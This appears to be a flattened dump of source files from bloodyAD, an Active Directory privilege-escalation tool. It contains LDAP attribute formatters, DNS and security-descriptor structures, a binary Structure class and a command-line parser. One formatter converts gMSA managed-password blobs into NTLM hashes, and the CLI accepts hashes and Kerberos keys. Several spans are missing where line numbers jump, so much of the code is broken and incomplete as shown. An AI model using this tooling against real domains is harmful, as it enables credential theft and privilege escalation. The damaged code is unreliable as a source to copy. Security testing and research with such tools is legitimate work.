self.dn = data[3] 20 | 21 | def fromCanonical(self, value, dn): 22 | self.value = value 23 | self.dn = dn 24 | self.binary_value = binascii.hexlify(value).decode() 25 | self.count = len(self.binary_value) 26 | 27 | def __str__(self): 28 | return f"B:{self.count}:{self.binary_value}:{self.dn}" 29 | 30 | 31 | # see https://social.technet.microsoft.com/wiki/contents/articles/37395.active-directory-schema-versions.aspx 32 | SCHEMA_VERSION = { 33 | "13": "Windows 2000 Server", 34 | "30": "Windows Server 2003", 35 | "31": "Windows Server 2003 R2", 36 | "44": "Windows Server 2008", 37 | "47": "Windows Server 2008 R2", 38 | "56": "Windows Server 2012", 39 | "69": "Windows Server 2012 R2", 40 | "87": "Windows Server 2016", 41 | "88": "Windows Server 2019/2022", 42 | } 43 | 44 | # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/d7422d35-448a-451a-8846-6a7def0044df?redirectedfrom=MSDN 45 | FUNCTIONAL_LEVEL = { 46 | "0": "DS_BEHAVIOR_WIN2000", 47 | "1": "DS_BEHAVIOR_WIN2003_WITH_MIXED_DOMAINS", 48 | "2": "DS_BEHAVIOR_WIN2003", 49 | "3": "DS_BEHAVIOR_WIN2008", 50 | "4": "DS_BEHAVIOR_WIN2008R2", 51 | "5": "DS_BEHAVIOR_WIN2012", 52 | "6": "DS_BEHAVIOR_WIN2012R2", 53 | "7": "DS_BEHAVIOR_WIN2016", 54 | } 55 | 56 | # [MS-ADTS] - 6.1.1.4 Well-Known Objects 57 | WELLKNOWN_GUID = { 58 | "AA312825768811D1ADED00C04FD8D5CD": "GUID_COMPUTERS_CONTAINER_W", 59 | "18E2EA80684F11D2B9AA00C04F79F805": "GUID_DELETED_OBJECTS_CONTAINER_W", 60 | "A361B2FFFFD211D1AA4B00C04FD7D83A": "GUID_DOMAIN_CONTROLLERS_CONTAINER_W", 61 | "22B70C67D56E4EFB91E9300FCA3DC1AA": "GUID_FOREIGNSECURITYPRINCIPALS_CONTAINER_W", 62 | "2FBAC1870ADE11D297C400C04FD8D5CD": "GUID_INFRASTRUCTURE_CONTAINER_W", 63 | "AB8153B7768811D1ADED00C04FD8D5CD": "GUID_LOSTANDFOUND_CONTAINER_W", 64 | "F4BE92A4C777485E878E9421D53087DB": "GUID_MICROSOFT_PROGRAM_DATA_CONTAINER_W", 65 | "6227F0AF1FC2410D8E3BB10615BB5B0F": "GUID_NTDS_QUOTAS_CONTAINER_W", 66 | "09460C08AE1E4A4EA0F64AEE7DAA1E5A": "GUID_PROGRAM_DATA_CONTAINER_W", 67 | "AB1D30F3768811D1ADED00C04FD8D5CD": "GUID_SYSTEMS_CONTAINER_W", 68 | "A9D1CA15768811D1ADED00C04FD8D5CD": "GUID_USERS_CONTAINER_W", 69 | "1EB93889E40C45DF9F0C64D23BBB6237": "GUID_MANAGED_SERVICE_ACCOUNTS_CONTAINER_W", 70 | } 71 | 72 | # [MS-ADTS] 6.1.6.7.12 trustDirection 73 | TRUST_DIRECTION = {"DISABLED": 0, "INBOUND": 1, "OUTBOUND": 2, "BIDIRECTIONAL": 3} 74 | 75 | # [MS-ADTS] 6.1.6.7.15 trustType 76 | TRUST_TYPE = {"LOCAL_WINDOWS": 1, "AD": 2, "NON_WINDOWS": 3, "AZURE": 5} 77 | 78 | # [MS-ADTS] 6.1.6.7.9 trustAttributes 79 | TRUST_ATTRIBUTES = { 80 | "NON_TRANSITIVE": 0x1, 81 | "UPLEVEL_ONLY": 0x2, 82 | "QUARANTINED_DOMAIN": 0x4, 83 | "FOREST_TRANSITIVE": 0x8, 84 | "CROSS_ORGANIZATION": 0x10, 85 | "WITHIN_FOREST": 0x20, 86 | "TREAT_AS_EXTERNAL": 0x40, 87 | "USES_RC4_ENCRYPTION": 0x80, 88 | "CROSS_ORGANIZATION_NO_TGT_DELEGATION": 0x200, 89 | "CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION": 0x800, 90 | "PIM_TRUST": 0x400, 91 | } 92 | -------------------------------------------------------------------------------- /bloodyAD/formatters/cryptography.py: -------------------------------------------------------------------------------- 1 | from bloodyAD.formatters.structure import Structure 2 | from bloodyAD import md4 3 | import hashlib 4 | from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat 5 | 6 | 7 | class BCRYPT_RSAKEY_BLOB(Structure): 8 | structure = ( 9 | ("Magic", "I"), 35 | ("Reserved", "H"), ("nameExchange", ":", DNS_COUNT_NAME)) 199 | 200 | def toDict(self): 201 | return { 202 | "Name": self["nameExchange"].formatCanonical(), 203 | "Preference": self["wPreference"], 204 | } 205 | 206 | def fromCanonical(self, fqdn, preference): 207 | self["wPreference"] = preference 208 | record_name = DNS_COUNT_NAME() 209 | record_name.fromCanonical(fqdn) 210 | self["nameExchange"] = record_name 211 | 212 | 213 | class DNS_RPC_RECORD_SRV(Structure): 214 | """ 215 | DNS_RPC_RECORD_SRV - [MS-DNSP] section 2.2.2.2.4.18 216 | """ 217 | 218 | structure = ( 219 | ("wPriority", ">H"), 220 | ("wWeight", ">H"), 221 | ("wPort", ">H"), 222 | ("nameTarget", ":", DNS_COUNT_NAME), 223 | ) 224 | 225 | def toDict(self): 226 | return { 227 | "Target": self["nameTarget"].formatCanonical(), 228 | "Port": self["wPort"], 229 | "Priority": self["wPriority"], 230 | "Weight": self["wWeight"], 231 | } 232 | 233 | def fromCanonical(self, fqdn, port, priority, weight): 234 | self["wPriority"] = priority 235 | self["wWeight"] = weight 236 | self["wPort"] = port 237 | record_name = DNS_COUNT_NAME() 238 | record_name.fromCanonical(fqdn) 239 | self["nameTarget"] = record_name 240 | 241 | 242 | class DNS_RPC_NAME(Structure): 243 | """ 244 | DNS_RPC_NAME - [MS-DNSP] section 2.2.2.2.1 245 | Used for FQDN in RPC communications and other strings 246 | """ 247 | 248 | structure = (("cchNameLength", "B-dnsName"), ("dnsName", ":")) 249 | 250 | def formatCanonical(self): 251 | return self["dnsName"].decode("utf-8") 252 | 253 | 254 | class DNS_RPC_RECORD_STRING(Structure): 255 | """ 256 | DNS_RPC_RECORD_STRING - [MS-DNSP] section 2.2.2.2.4.6 257 | Used for TXT records 258 | """ 259 | 260 | structure = (("stringData", ":", DNS_RPC_NAME),) 261 | 262 | def formatCanonical(self): 263 | return self["stringData"].formatCanonical() 264 | 265 | def fromCanonical(self, canonical): 266 | data_container = DNS_RPC_NAME() 267 | data_container["dnsName"] = canonical.encode("utf-8") 268 | self["stringData"] = data_container 269 | 270 | 271 | class DNS_RPC_RECORD_SOA(Structure): 272 | """ 273 | DNS_RPC_RECORD_SOA - [MS-DNSP] section 2.2.2.2.4.3 274 | """ 275 | 276 | structure = ( 277 | ("dwSerialNo", ">I"), 278 | ("dwRefresh", ">I"), 279 | ("dwRetry", ">I"), 280 | ("dwExpire", ">I"), 281 | ("dwMinimumTtl", ">I"), 282 | ("namePrimaryServer", ":", DNS_COUNT_NAME), 283 | ("zoneAdminEmail", ":", DNS_COUNT_NAME), 284 | ) 285 | 286 | def toDict(self): 287 | return { 288 | "SerialNo": self["dwSerialNo"], 289 | "Refresh": self["dwRefresh"], 290 | "Retry": self["dwRetry"], 291 | "Expire": self["dwExpire"], 292 | "MinimumTtl": self["dwMinimumTtl"], 293 | "PrimaryServer": self["namePrimaryServer"].formatCanonical(), 294 | "zoneAdminEmail": self["zoneAdminEmail"].formatCanonical(), 295 | } 296 | -------------------------------------------------------------------------------- /bloodyAD/formatters/formatters.py: -------------------------------------------------------------------------------- 1 | from bloodyAD.formatters import ( 2 | accesscontrol, 3 | common, 4 | cryptography, 5 | dns, 6 | ) 7 | import base64 8 | from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR 9 | 10 | 11 | def formatAccountControl(userAccountControl): 12 | userAccountControl = int(userAccountControl.decode()) 13 | return [ 14 | key 15 | for key, val in accesscontrol.ACCOUNT_FLAGS.items() 16 | if userAccountControl & val == val 17 | ] 18 | 19 | 20 | def formatTrustDirection(trustDirection): 21 | trustDirection = int(trustDirection.decode()) 22 | for key, val in common.TRUST_DIRECTION.items(): 23 | if trustDirection == val: 24 | return key 25 | return trustDirection 26 | 27 | 28 | def formatTrustAttributes(trustAttributes): 29 | trustAttributes = int(trustAttributes.decode()) 30 | return [ 31 | key 32 | for key, val in common.TRUST_ATTRIBUTES.items() 33 | if trustAttributes & val == val 34 | ] 35 | 36 | 37 | def formatTrustType(trustType): 38 | trustType = int(trustType.decode()) 39 | for key, val in common.TRUST_TYPE.items(): 40 | if trustType == val: 41 | return key 42 | return trustType 43 | 44 | 45 | def formatSD(sd_bytes): 46 | return SECURITY_DESCRIPTOR.from_bytes(sd_bytes).to_sddl() 47 | 48 | 49 | def formatFunctionalLevel(behavior_version): 50 | behavior_version = behavior_version.decode() 51 | return ( 52 | common.FUNCTIONAL_LEVEL[behavior_version] 53 | if behavior_version in common.FUNCTIONAL_LEVEL 54 | else behavior_version 55 | ) 56 | 57 | 58 | def formatSchemaVersion(objectVersion): 59 | objectVersion = objectVersion.decode() 60 | return ( 61 | common.SCHEMA_VERSION[objectVersion] 62 | if objectVersion in common.SCHEMA_VERSION 63 | else objectVersion 64 | ) 65 | 66 | 67 | def formatGMSApass(managedPassword): 68 | gmsa_blob = cryptography.MSDS_MANAGEDPASSWORD_BLOB(managedPassword) 69 | ntlm_hash = "aad3b435b51404eeaad3b435b51404ee:" + gmsa_blob.toNtHash() 70 | return { 71 | "NTLM": ntlm_hash, 72 | "B64ENCODED": base64.b64encode(gmsa_blob["CurrentPassword"]).decode(), 73 | } 74 | 75 | 76 | def formatDnsRecord(dns_record): 77 | return dns.Record(dns_record).toDict() 78 | 79 | 80 | def formatWellKnownObjects(wellKnown_object): 81 | dn_binary = common.DNBinary(wellKnown_object) 82 | if dn_binary.binary_value in common.WELLKNOWN_GUID: 83 | dn_binary.binary_value = common.WELLKNOWN_GUID[dn_binary.binary_value] 84 | return dn_binary 85 | 86 | 87 | def formatKeyCredentialLink(key_dnbinary): 88 | return cryptography.KEYCREDENTIALLINK_BLOB( 89 | common.DNBinary(key_dnbinary).value 90 | ).toDict() 91 | 92 | 93 | from msldap.protocol.typeconversion import ( 94 | LDAP_WELL_KNOWN_ATTRS, 95 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES, 96 | single_guid, 97 | multi_bytes, 98 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC, 99 | int2timedelta, 100 | ) 101 | 102 | 103 | def formatFactory(format_func, origin_format): 104 | def genericFormat(val, encode=False, *args): 105 | if encode: 106 | return origin_format(val, encode, *args) 107 | if not isinstance(val, list): 108 | return format_func(val) 109 | return [format_func(e) for e in val] 110 | # The function name is set to the original function name for encode changes logic 111 | genericFormat.__name__ = origin_format.__name__ 112 | return genericFormat 113 | 114 | 115 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES_ENC["msDS-AllowedToActOnBehalfOfOtherIdentity"] = ( 116 | multi_bytes 117 | ) 118 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES["nTSecurityDescriptor"] = formatFactory( 119 | formatSD, MSLDAP_BUILTIN_ATTRIBUTE_TYPES["nTSecurityDescriptor"] 120 | ) 121 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-AllowedToActOnBehalfOfOtherIdentity"] = ( 122 | formatFactory(formatSD, multi_bytes) 123 | ) 124 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-GroupMSAMembership"] = formatFactory( 125 | formatSD, MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-GroupMSAMembership"] 126 | ) 127 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-ManagedPassword"] = formatFactory( 128 | formatGMSApass, MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-ManagedPassword"] 129 | ) 130 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES["userAccountControl"] = formatFactory( 131 | formatAccountControl, MSLDAP_BUILTIN_ATTRIBUTE_TYPES["userAccountControl"] 132 | ) 133 | LDAP_WELL_KNOWN_ATTRS["msDS-User-Account-Control-Computed"] = formatFactory( 134 | formatAccountControl, LDAP_WELL_KNOWN_ATTRS["msDS-User-Account-Control-Computed"] 135 | ) 136 | LDAP_WELL_KNOWN_ATTRS["trustDirection"] = formatFactory( 137 | formatTrustDirection, LDAP_WELL_KNOWN_ATTRS["trustDirection"] 138 | ) 139 | LDAP_WELL_KNOWN_ATTRS["trustAttributes"] = formatFactory( 140 | formatTrustAttributes, LDAP_WELL_KNOWN_ATTRS["trustAttributes"] 141 | ) 142 | LDAP_WELL_KNOWN_ATTRS["trustType"] = formatFactory( 143 | formatTrustType, LDAP_WELL_KNOWN_ATTRS["trustType"] 144 | ) 145 | MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-Behavior-Version"] = formatFactory( 146 | formatFunctionalLevel, MSLDAP_BUILTIN_ATTRIBUTE_TYPES["msDS-Behavior-Version"] 147 | ) 148 | LDAP_WELL_KNOWN_ATTRS["objectVersion"] = formatFactory( 149 | formatSchemaVersion, LDAP_WELL_KNOWN_ATTRS["objectVersion"] 150 | ) 151 | LDAP_WELL_KNOWN_ATTRS["dnsRecord"] = formatFactory( 152 | formatDnsRecord, LDAP_WELL_KNOWN_ATTRS["dnsRecord"] 153 | ) 154 | LDAP_WELL_KNOWN_ATTRS["msDS-KeyCredentialLink"] = formatFactory( 155 | formatKeyCredentialLink, LDAP_WELL_KNOWN_ATTRS["msDS-KeyCredentialLink"] 156 | ) 157 | LDAP_WELL_KNOWN_ATTRS["attributeSecurityGUID"] = single_guid 158 | LDAP_WELL_KNOWN_ATTRS["wellKnownObjects"] = formatFactory( 159 | formatWellKnownObjects, LDAP_WELL_KNOWN_ATTRS["wellKnownObjects"] 160 | ) 161 | LDAP_WELL_KNOWN_ATTRS["msDS-MinimumPasswordAge"] = int2timedelta 162 | 163 | from winacl.dtyp.ace import ( 164 | SYSTEM_AUDIT_OBJECT_ACE, 165 | SDDL_ACE_TYPE_MAPS_INV, 166 | aceflags_to_sddl, 167 | accessmask_to_sddl, 168 | ACE_OBJECT_PRESENCE, 169 | ) 170 | 171 | 172 | def to_sddl(self, sd_object_type=None): 173 | # ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute) 174 | return "(%s;%s;%s;%s;%s;%s)" % ( 175 | SDDL_ACE_TYPE_MAPS_INV[self.AceType], 176 | aceflags_to_sddl(self.AceFlags), 177 | accessmask_to_sddl(self.Mask, self.sd_object_type), 178 | ( 179 | self.ObjectType.to_bytes() 180 | if self.AceFlags & ACE_OBJECT_PRESENCE.ACE_OBJECT_TYPE_PRESENT 181 | else "" 182 | ), 183 | ( 184 | self.InheritedObjectType.to_bytes() 185 | if self.Flags & ACE_OBJECT_PRESENCE.ACE_INHERITED_OBJECT_TYPE_PRESENT 186 | else "" 187 | ), 188 | self.Sid.to_sddl(), 189 | ) 190 | 191 | 192 | setattr(SYSTEM_AUDIT_OBJECT_ACE, "to_sddl", to_sddl) 193 | -------------------------------------------------------------------------------- /bloodyAD/formatters/ldaptypes.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2022 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Structures and types used in LDAP 11 | # Contains the Structures for the NT Security Descriptor (non-RPC format) and 12 | # all ACL related structures 13 | # 14 | # Author: 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from bloodyAD.formatters.structure import Structure 18 | from struct import unpack, pack 19 | 20 | # Global constant if the library should recalculate ACE sizes in objects that are decoded/re-encoded. 21 | # This defaults to True, but this causes the ACLs to not match on a binary level 22 | # since Active Directory for some reason sometimes adds null bytes to the end of ACEs. 23 | # This is valid according to the spec (see 2.4.4), but since impacket encodes them more efficiently 24 | # this should be turned off if running unit tests. 25 | RECALC_ACE_SIZE = True 26 | 27 | 28 | # LDAP SID structure - based on SAMR_RPC_SID, except the SubAuthority is LE here 29 | class LDAP_SID_IDENTIFIER_AUTHORITY(Structure): 30 | structure = (("Value", "6s"),) 31 | 32 | 33 | class LDAP_SID(Structure): 34 | structure = ( 35 | ("Revision", " [big endian] 55 | 56 | usual printf like specifiers can be used (if started with %) 57 | [not recommended, there is no way to unpack this] 58 | 59 | %08x will output an 8 bytes hex 60 | %s will output a string 61 | %s\\x00 will output a NUL terminated string 62 | %d%d will output 2 decimal digits (against the very same specification of Structure) 63 | ... 64 | 65 | some additional format specifiers: 66 | : just copy the bytes from the field into the output string (input may be string, other structure, or anything responding to __str__()) (for unpacking, all what's left is returned) 67 | z same as :, but adds a NUL byte at the end (asciiz) (for unpacking the first NUL byte is used as terminator) [asciiz string] 68 | u same as z, but adds two NUL bytes at the end (after padding to an even size with NULs). (same for unpacking) [unicode string] 69 | w DCE-RPC/NDR string (it's a macro for [ ' 2: 162 | dataClassOrCode = field[2] 163 | try: 164 | self[field[0]] = self.unpack( 165 | field[1], 166 | data[:size], 167 | dataClassOrCode=dataClassOrCode, 168 | field=field[0], 169 | ) 170 | except Exception as e: 171 | e.args += ( 172 | "When unpacking field '%s | %s | %r[:%d]'" 173 | % (field[0], field[1], data, size), 174 | ) 175 | raise 176 | 177 | size = self.calcPackSize(field[1], self[field[0]], field[0]) 178 | if self.alignment and size % self.alignment: 179 | size += self.alignment - (size % self.alignment) 180 | data = data[size:] 181 | 182 | return self 183 | 184 | def __setitem__(self, key, value): 185 | self.fields[key] = value 186 | self.data = None # force recompute 187 | 188 | def __getitem__(self, key): 189 | return self.fields[key] 190 | 191 | def __delitem__(self, key): 192 | del self.fields[key] 193 | 194 | def __str__(self): 195 | return self.getData() 196 | 197 | def __len__(self): 198 | # XXX: improve 199 | return len(self.getData()) 200 | 201 | def pack(self, format, data, field=None): 202 | if self.debug: 203 | print(" pack( %s | %r | %s)" % (format, data, field)) 204 | 205 | if field: 206 | addressField = self.findAddressFieldFor(field) 207 | if (addressField is not None) and (data is None): 208 | return b"" 209 | 210 | # void specifier 211 | if format[:1] == "_": 212 | return b"" 213 | 214 | # quote specifier 215 | if format[:1] == "'" or format[:1] == '"': 216 | return b(format[1:]) 217 | 218 | # code specifier 219 | two = format.split("=") 220 | if len(two) >= 2: 221 | try: 222 | return self.pack(two[0], data) 223 | except: 224 | fields = {"self": self} 225 | fields.update(self.fields) 226 | return self.pack(two[0], eval(two[1], {}, fields)) 227 | 228 | # address specifier 229 | two = format.split("&") 230 | if len(two) == 2: 231 | try: 232 | return self.pack(two[0], data) 233 | except: 234 | if (two[1] in self.fields) and (self[two[1]] is not None): 235 | return self.pack( 236 | two[0], id(self[two[1]]) & ((1 << (calcsize(two[0]) * 8)) - 1) 237 | ) 238 | else: 239 | return self.pack(two[0], 0) 240 | 241 | # length specifier 242 | two = format.split("-") 243 | if len(two) == 2: 244 | try: 245 | return self.pack(two[0], data) 246 | except: 247 | return self.pack(two[0], self.calcPackFieldSize(two[1])) 248 | 249 | # array specifier 250 | two = format.split("*") 251 | if len(two) == 2: 252 | answer = bytes() 253 | for each in data: 254 | answer += self.pack(two[1], each) 255 | if two[0]: 256 | if two[0].isdigit(): 257 | if int(two[0]) != len(data): 258 | raise Exception( 259 | "Array field has a constant size, and it doesn't match the" 260 | " actual value" 261 | ) 262 | else: 263 | return self.pack(two[0], len(data)) + answer 264 | return answer 265 | 266 | # "printf" string specifier 267 | if format[:1] == "%": 268 | # format string like specifier 269 | return b(format % data) 270 | 271 | # asciiz specifier 272 | if format[:1] == "z": 273 | if isinstance(data, bytes): 274 | return data + b("\0") 275 | return bytes(b(data) + b("\0")) 276 | 277 | # unicode specifier 278 | if format[:1] == "u": 279 | return bytes(data + b("\0\0") + (len(data) & 1 and b("\0") or b"")) 280 | 281 | # DCE-RPC/NDR string specifier 282 | if format[:1] == "w": 283 | if len(data) == 0: 284 | data = b("\0\0") 285 | elif len(data) % 2: 286 | data = b(data) + b("\0") 287 | l = pack("= 2: 354 | return self.unpack(two[0], data) 355 | 356 | # length specifier 357 | two = format.split("-") 358 | if len(two) == 2: 359 | return self.unpack(two[0], data) 360 | 361 | # array specifier 362 | two = format.split("*") 363 | if len(two) == 2: 364 | answer = [] 365 | sofar = 0 366 | if two[0].isdigit(): 367 | number = int(two[0]) 368 | elif two[0]: 369 | sofar += self.calcUnpackSize(two[0], data) 370 | number = self.unpack(two[0], data[:sofar]) 371 | else: 372 | number = -1 373 | 374 | while number and sofar < len(data): 375 | nsofar = sofar + self.calcUnpackSize(two[1], data[sofar:]) 376 | answer.append(self.unpack(two[1], data[sofar:nsofar], dataClassOrCode)) 377 | number -= 1 378 | sofar = nsofar 379 | return answer 380 | 381 | # "printf" string specifier 382 | if format[:1] == "%": 383 | # format string like specifier 384 | return format % data 385 | 386 | # asciiz specifier 387 | if format == "z": 388 | if data[-1:] != b("\x00"): 389 | raise Exception( 390 | "%s 'z' field is not NUL terminated: %r" % (field, data) 391 | ) 392 | return data[:-1].decode("latin-1") 393 | 394 | # unicode specifier 395 | if format == "u": 396 | if data[-2:] != b("\x00\x00"): 397 | raise Exception( 398 | "%s 'u' field is not NUL-NUL terminated: %r" % (field, data) 399 | ) 400 | return data[:-2] # remove trailing NUL 401 | 402 | # DCE-RPC/NDR string specifier 403 | if format == "w": 404 | l = unpack("= 2: 440 | return self.calcPackSize(two[0], data) 441 | 442 | # length specifier 443 | two = format.split("-") 444 | if len(two) == 2: 445 | return self.calcPackSize(two[0], data) 446 | 447 | # array specifier 448 | two = format.split("*") 449 | if len(two) == 2: 450 | answer = 0 451 | if two[0].isdigit(): 452 | if int(two[0]) != len(data): 453 | raise Exception( 454 | "Array field has a constant size, and it doesn't match the" 455 | " actual value" 456 | ) 457 | elif two[0]: 458 | answer += self.calcPackSize(two[0], len(data)) 459 | 460 | for each in data: 461 | answer += self.calcPackSize(two[1], each) 462 | return answer 463 | 464 | # "printf" string specifier 465 | if format[:1] == "%": 466 | # format string like specifier 467 | return len(format % data) 468 | 469 | # asciiz specifier 470 | if format[:1] == "z": 471 | return len(data) + 1 472 | 473 | # asciiz specifier 474 | if format[:1] == "u": 475 | l = len(data) 476 | return l + (l & 1 and 3 or 2) 477 | 478 | # DCE-RPC/NDR string specifier 479 | if format[:1] == "w": 480 | l = len(data) 481 | return 12 + l + l % 2 482 | 483 | # literal specifier 484 | if format[:1] == ":": 485 | return len(data) 486 | 487 | # struct like specifier 488 | return calcsize(format) 489 | 490 | def calcUnpackSize(self, format, data, field=None): 491 | if self.debug: 492 | print(" calcUnpackSize( %s | %s | %r)" % (field, format, data)) 493 | 494 | # void specifier 495 | if format[:1] == "_": 496 | return 0 497 | 498 | addressField = self.findAddressFieldFor(field) 499 | if addressField is not None: 500 | if not self[addressField]: 501 | return 0 502 | 503 | try: 504 | lengthField = self.findLengthFieldFor(field) 505 | return int(self[lengthField]) 506 | except Exception: 507 | pass 508 | 509 | # XXX: Try to match to actual values, raise if no match 510 | 511 | # quote specifier 512 | if format[:1] == "'" or format[:1] == '"': 513 | return len(format) - 1 514 | 515 | # address specifier 516 | two = format.split("&") 517 | if len(two) == 2: 518 | return self.calcUnpackSize(two[0], data) 519 | 520 | # code specifier 521 | two = format.split("=") 522 | if len(two) >= 2: 523 | return self.calcUnpackSize(two[0], data) 524 | 525 | # length specifier 526 | two = format.split("-") 527 | if len(two) == 2: 528 | return self.calcUnpackSize(two[0], data) 529 | 530 | # array specifier 531 | two = format.split("*") 532 | if len(two) == 2: 533 | answer = 0 534 | if two[0]: 535 | if two[0].isdigit(): 536 | number = int(two[0]) 537 | else: 538 | answer += self.calcUnpackSize(two[0], data) 539 | number = self.unpack(two[0], data[:answer]) 540 | 541 | while number: 542 | number -= 1 543 | answer += self.calcUnpackSize(two[1], data[answer:]) 544 | else: 545 | while answer < len(data): 546 | answer += self.calcUnpackSize(two[1], data[answer:]) 547 | return answer 548 | 549 | # "printf" string specifier 550 | if format[:1] == "%": 551 | raise Exception( 552 | "Can't guess the size of a printf like specifier for unpacking" 553 | ) 554 | 555 | # asciiz specifier 556 | if format[:1] == "z": 557 | return data.index(b("\x00")) + 1 558 | 559 | # asciiz specifier 560 | if format[:1] == "u": 561 | l = data.index(b("\x00\x00")) 562 | return l + (l & 1 and 3 or 2) 563 | 564 | # DCE-RPC/NDR string specifier 565 | if format[:1] == "w": 566 | l = unpack("?@[\\]^_`{|}~ " 655 | ): 656 | return chr(x) 657 | else: 658 | return "." 659 | 660 | 661 | def hexdump(data, indent=""): 662 | if data is None: 663 | return 664 | if isinstance(data, int): 665 | data = str(data).encode("utf-8") 666 | x = bytearray(data) 667 | strLen = len(x) 668 | i = 0 669 | while i < strLen: 670 | line = " %s%04x " % (indent, i) 671 | for j in range(16): 672 | if i + j < strLen: 673 | line += "%02X " % x[i + j] 674 | else: 675 | line += " " 676 | if j % 16 == 7: 677 | line += " " 678 | line += " " 679 | line += "".join(pretty_print(x) for x in x[i : i + 16]) 680 | print(line) 681 | i += 16 682 | 683 | 684 | def parse_bitmask(dict, value): 685 | ret = "" 686 | 687 | for i in range(0, 31): 688 | flag = 1 << i 689 | 690 | if value & flag == 0: 691 | continue 692 | 693 | if flag in dict: 694 | ret += "%s | " % dict[flag] 695 | else: 696 | ret += "0x%.8X | " % flag 697 | 698 | if len(ret) == 0: 699 | return "0" 700 | else: 701 | return ret[:-3] 702 | -------------------------------------------------------------------------------- /bloodyAD/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from bloodyAD import cli_modules, ConnectionHandler, exceptions 3 | import sys, argparse, types, logging 4 | 5 | # For dynamic argparse 6 | import inspect, pkgutil, importlib 7 | 8 | 9 | def main(): 10 | parser = argparse.ArgumentParser(description="AD Privesc Swiss Army Knife") 11 | 12 | parser.add_argument("-d", "--domain", help="Domain used for NTLM authentication") 13 | parser.add_argument( 14 | "-u", "--username", help="Username used for NTLM authentication" 15 | ) 16 | parser.add_argument( 17 | "-p", 18 | "--password", 19 | help=( 20 | "password or LMHASH:NTHASH for NTLM authentication, password or AES/RC4 key for kerberos, password for certificate" 21 | " (Do not specify to trigger integrated windows authentication)" 22 | ), 23 | ) 24 | parser.add_argument( 25 | "-k", 26 | "--kerberos", 27 | nargs="*", 28 | help=( 29 | "Enable Kerberos authentication. If '-p' is provided it will try to query a TGT with it. You can also provide a list of one or more optional keywords as '-k kdc=192.168.100.1 kdcc=192.168.150.1 realmc=foreign.realm.corp =/home/silver/Admin.ccache', being ccache, kirbi or keytab, 'kdc' being the kerberos server for the keyfile provided and 'realmc' and 'kdcc' for cross realm (the realm of the '--host' provided)" 30 | ), 31 | ) 32 | parser.add_argument( 33 | "-f", 34 | "--format", 35 | help="Specify format for '--password' or '-k '", 36 | choices=["b64", "hex", "aes", "rc4", "default"], 37 | default="default", 38 | ) 39 | parser.add_argument( 40 | "-c", 41 | "--certificate", 42 | nargs="?", 43 | help='Schannel authentication or krb pkinit if -k also provided, e.g: "path/to/key:path/to/cert" (Use Windows Certstore with krb if left empty)', 44 | ) 45 | parser.add_argument( 46 | "-s", 47 | "--secure", 48 | help="Try to use LDAP/GC over TLS aka LDAPS/GCS (default is no TLS)", 49 | action="store_true", 50 | default=False, 51 | ) 52 | parser.add_argument( 53 | "--host", 54 | help="Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)", 55 | required=True 56 | ) 57 | parser.add_argument( 58 | "--dc-ip", 59 | help="IP of the DC (useful if you provided a --host which can't resolve)", 60 | ) 61 | parser.add_argument( 62 | "--dns", 63 | help="IP of the DNS to resolve AD names (useful for inter-domain functions)", 64 | ) 65 | parser.add_argument( 66 | "-t", 67 | "--timeout", 68 | help="Connection timeout in seconds", 69 | ) 70 | parser.add_argument( 71 | "--gc", 72 | help="Connect to Global Catalog (GC)", 73 | action="store_true", 74 | default=False, 75 | ) 76 | parser.add_argument( 77 | "-v", 78 | "--verbose", 79 | help="Adjust output verbosity", 80 | choices=["QUIET", "INFO", "DEBUG"], 81 | default="INFO", 82 | ) 83 | 84 | subparsers = parser.add_subparsers(title="Commands") 85 | submodnames = [] 86 | # Iterates all submodules in module package and creates one parser per submodule 87 | for importer, submodname, ispkg in pkgutil.iter_modules(cli_modules.__path__): 88 | submodnames.append(submodname) 89 | subparser = subparsers.add_parser( 90 | submodname, help=f"[{submodname.upper()}] function category" 91 | ) 92 | subsubparsers = subparser.add_subparsers(title=f"{submodname} commands") 93 | submodule = importlib.import_module("." + submodname, cli_modules.__name__) 94 | for function_name, function in inspect.getmembers( 95 | submodule, inspect.isfunction 96 | ): 97 | function_doc, params_doc = doc_parser(inspect.getdoc(function)) 98 | # This formatter class prints default values 99 | subsubparser = subsubparsers.add_parser( 100 | function_name, 101 | help=function_doc, 102 | formatter_class=argparse.ArgumentDefaultsHelpFormatter, 103 | ) 104 | # Gets function signature to extract parameters default values 105 | func_signature = inspect.signature(function) 106 | for param_name, param_value, param_doc in zip( 107 | function.__annotations__.keys(), 108 | function.__annotations__.values(), 109 | params_doc, 110 | ): 111 | parser_args = {} 112 | 113 | # Fetches help from param_doc, if param_name doesn't match 114 | # name in param_doc, raises exception 115 | try: 116 | param_doc = param_doc.split(f":param {param_name}: ")[1] 117 | except IndexError: 118 | print(f"[-] param_name '{param_name}' doesn't match '{param_doc}'") 119 | raise 120 | parser_args["help"] = param_doc 121 | 122 | # If parameter has a default value, then it will be an optional argument 123 | param_signature = func_signature.parameters.get(param_name) 124 | if param_signature.default is param_signature.empty: 125 | arg_name = param_name 126 | else: 127 | # If param with one letter only add just one dash 128 | if len(param_name) < 2: 129 | arg_name = f"-{param_name}" 130 | else: 131 | param_name = param_name.replace("_", "-") 132 | arg_name 